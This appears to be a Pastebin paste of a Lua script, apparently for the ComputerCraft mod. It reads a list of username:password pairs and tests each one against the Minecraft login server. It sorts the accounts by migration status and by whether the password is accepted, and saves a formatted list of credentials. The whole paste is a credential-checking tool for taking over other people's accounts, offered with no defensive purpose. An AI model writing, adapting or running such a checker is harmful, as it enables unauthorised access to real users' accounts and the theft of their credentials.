xXm0dzXx

Untitled

May 26th, 2012
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.55 KB | None | 0 0
  1. local tLines = {}
  2. local line
  3.  
  4. write("File Name: ")
  5. local file = io.open(read(), "r")
  6. fs.makeDir("accounts")
  7. migrated = fs.open("accounts/migrated", "w")
  8. normal = fs.open("accounts/nonmigrated", "w")
  9. yay = fs.open("accounts/correct", "w")
  10. formatted = fs.open("accounts/format", "w")
  11. if file then
  12. shell.run("clear")
  13.  
  14. while true do
  15. line = file:read()
  16. if not line then break end
  17. tLines[#tLines+1] = line
  18. user = line
  19. pass = "DEFAULT"
  20. tes345 = string.find(line, ":")
  21. if string.find(user, ":") then
  22. user = string.sub(line, 1, tonumber(tes345)-1)
  23. pass = string.sub(line, tonumber(tes345)+1, string.len(line))
  24. end
  25.  
  26. http.request("http://login.minecraft.net/?user=" ..user.. "&password=" ..pass.. "&version=12")
  27. local event, url, response = os.pullEvent()
  28. if event == "http_success" then
  29. _sResponse = { response.readAll() }
  30. if string.find(tostring(_sResponse[1]), "migrated") then
  31. migrated.writeLine(user)
  32. print(user.. " <MIGRATED>")
  33. else
  34. normal.writeLine(user)
  35. if string.find(tostring(_sResponse[1]), "deprecated") then
  36. yay.writeLine(user)
  37. print(user.. " <NON-MIGRATED> <CORRECT PASS> ")
  38. else
  39. print(user.. " <NON-MIGRATED>")
  40. end
  41. end
  42. response.close()
  43.  
  44. formatted.writeLine("Username: " ..user)
  45. formatted.writeLine("Password: " ..pass)
  46. formatted.writeLine("--")
  47. else
  48. status = (line.. " <ERROR>")
  49. end
  50.  
  51. end
  52.  
  53.  
  54. migrated.close()
  55. normal.close()
  56. yay.close()
  57. formatted.close()
  58. file.close()
  59. else
  60. print("File does not exist!")
  61. end
Add Comment
Please, Sign In to add comment